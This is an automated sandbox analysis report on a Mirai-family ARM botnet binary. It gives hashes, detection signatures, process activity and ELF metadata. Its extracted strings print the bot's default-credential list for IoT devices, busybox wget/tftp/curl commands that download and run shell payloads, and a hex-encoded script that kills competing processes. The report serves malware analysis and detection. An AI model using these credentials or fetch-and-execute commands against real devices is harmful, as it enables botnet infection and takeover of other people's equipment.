Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name:la.bot.arm5.elf
Analysis ID:1541458
MD5:99be3dbc69d95207a592655d65bb9a97
SHA1:aec82d6fa6f789b295307be1ebbbfcda50c9bf21
SHA256:0d2bd761d93403d6394a851db1c72c69b0a95888e1aec9a5aff784658dbc92e9
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1541458
Start date and time:2024-10-24 21:12:07 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 59s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm5.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive
  • VT rate limit hit for: la.bot.arm5.elf

Runtime Messages

Command:/tmp/la.bot.arm5.elf
PID:6239
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:

Process Tree

  • system is lnxubuntu20
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm5.elfAvira: detected
Source: la.bot.arm5.elfString: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm5.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elfString: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh48
Source: /tmp/la.bot.arm5.elf (PID: 6239)Socket: 127.0.0.1:1234Jump to behavior
Source: la.bot.arm5.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/la.bot.arm5.elf (PID: 6239)SIGKILL sent: pid: 936, result: successfulJump to behavior
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/230/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/110/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/231/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/111/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/232/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/112/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/233/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/113/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/234/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/114/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/235/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/115/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/236/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/116/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/237/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/117/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/118/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/910/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/119/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/912/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/10/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/11/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/918/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/12/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/13/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/14/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/15/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/16/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/17/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/18/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/120/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/121/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/1/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/1/mapsJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/122/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/243/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/123/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/2/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/124/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/3/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/4/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/125/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/126/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/127/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/6/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/248/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/128/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/249/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/800/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/9/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/801/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/20/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/21/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/22/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/23/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/24/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/25/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/26/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/27/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/28/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/29/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/491/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/250/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/130/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/251/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/252/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/132/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/253/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/254/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/255/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/256/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/257/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/379/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/258/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/259/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/936/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/30/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/35/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/260/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/261/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/141/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/262/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/263/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/264/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/144/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/265/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/266/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/267/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/269/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/270/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/272/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/274/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/278/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/157/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/281/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/286/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/720/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/721/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/847/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/77/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/78/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/79/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/80/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/81/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)File opened: /proc/82/fdJump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6239)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 6239.1.000055b372caa000.000055b372e19000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6239.1.00007fff02608000.00007fff02629000.rw-.sdmpBinary or memory string: +x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 6239.1.000055b372caa000.000055b372e19000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6239.1.00007fff02608000.00007fff02629000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid AccountsWindows Management Instrumentation1
Scripting		Path InterceptionDirect Volume Access1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network MediumAbuse Accessibility Features

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1541458 Sample: la.bot.arm5.elf Startdate: 24/10/2024 Architecture: LINUX Score: 48 20 Antivirus / Scanner detection for submitted sample 2->20 8 la.bot.arm5.elf 2->8         started        process3 process4 10 la.bot.arm5.elf 8->10         started        12 la.bot.arm5.elf 8->12         started        process5 14 la.bot.arm5.elf 10->14         started        16 la.bot.arm5.elf 10->16         started        process6 18 la.bot.arm5.elf 14->18         started       

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
la.bot.arm5.elf100%AviraLINUX/GM.Mirai.LV

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http:///wget.shla.bot.arm5.elffalse
    		unknown
    http:///curl.shla.bot.arm5.elffalse
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      ⊘No context

      Created / dropped Files

      ⊘No created / dropped files found

      Static File Info

      General

      File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
      Entropy (8bit):6.0551463606903395
      TrID:
      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
      File name:la.bot.arm5.elf
      File size:72'456 bytes
      MD5:99be3dbc69d95207a592655d65bb9a97
      SHA1:aec82d6fa6f789b295307be1ebbbfcda50c9bf21
      SHA256:0d2bd761d93403d6394a851db1c72c69b0a95888e1aec9a5aff784658dbc92e9
      SHA512:37b34f9749798c547bdd2778183268b8654440d3dfdbc86479ec9b68ba1141a2449f3666a190bc0da9fe36da3bf7a1b7a4855e1dd3fc0fbdc9dab0a2e51c4905
      SSDEEP:1536:Bo6LGR3ISx/0PCWmLe0CWViFs+0kVYQY3iZupLKSQnzsT2:bLGR3IQ0PCWmGWViFJ0kyQKiZCLan
      TLSH:9B630885B982DE5BC6D812BBFA0F82CD372163D8E3DE3217CD15BF55368B92B091A141
      File Content Preview:.ELF...a..........(.........4...x.......4. ...(.....................L...L...............P...P...P........U..........Q.td..................................-...L."...u=..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

      Static ELF Info

      ELF header

      Class:ELF32
      Data:2's complement, little endian
      Version:1 (current)
      Machine:ARM
      Version Number:0x1
      Type:EXEC (Executable file)
      OS/ABI:ARM - ABI
      ABI Version:0
      Entry Point Address:0x8190
      Flags:0x2
      ELF Header Size:52
      Program Header Offset:52
      Program Header Size:32
      Number of Program Headers:3
      Section Header Offset:72056
      Section Header Size:40
      Number of Section Headers:10
      Header String Table Index:9

      Sections

      NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
      NULL0x00x00x00x00x0000
      .initPROGBITS0x80940x940x180x00x6AX004
      .textPROGBITS0x80b00xb00xf60c0x00x6AX0016
      .finiPROGBITS0x176bc0xf6bc0x140x00x6AX004
      .rodataPROGBITS0x176d00xf6d00x1f7c0x00x2A004
      .ctorsPROGBITS0x216500x116500x80x00x3WA004
      .dtorsPROGBITS0x216580x116580x80x00x3WA004
      .dataPROGBITS0x216640x116640x2d40x00x3WA004
      .bssNOBITS0x219380x119380x52a80x00x3WA004
      .shstrtabSTRTAB0x00x119380x3e0x00x0001

      Program Segments

      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
      LOAD0x00x80000x80000x1164c0x1164c6.07590x5R E0x8000.init .text .fini .rodata
      LOAD0x116500x216500x216500x2e80x55903.75200x6RW 0x8000.ctors .dtors .data .bss
      GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

      Network Behavior

      ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

      System Behavior

      General

      Start time (UTC):19:12:51
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:/tmp/la.bot.arm5.elf
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities


      General

      Start time (UTC):19:12:55
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:-
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities


      General

      Start time (UTC):19:12:55
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:-
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities


      General

      Start time (UTC):19:12:55
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:-
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities


      General

      Start time (UTC):19:16:12
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:-
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities


      General

      Start time (UTC):19:16:12
      Start date (UTC):24/10/2024
      Path:/tmp/la.bot.arm5.elf
      Arguments:-
      File size:4956856 bytes
      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

      Chronological Activities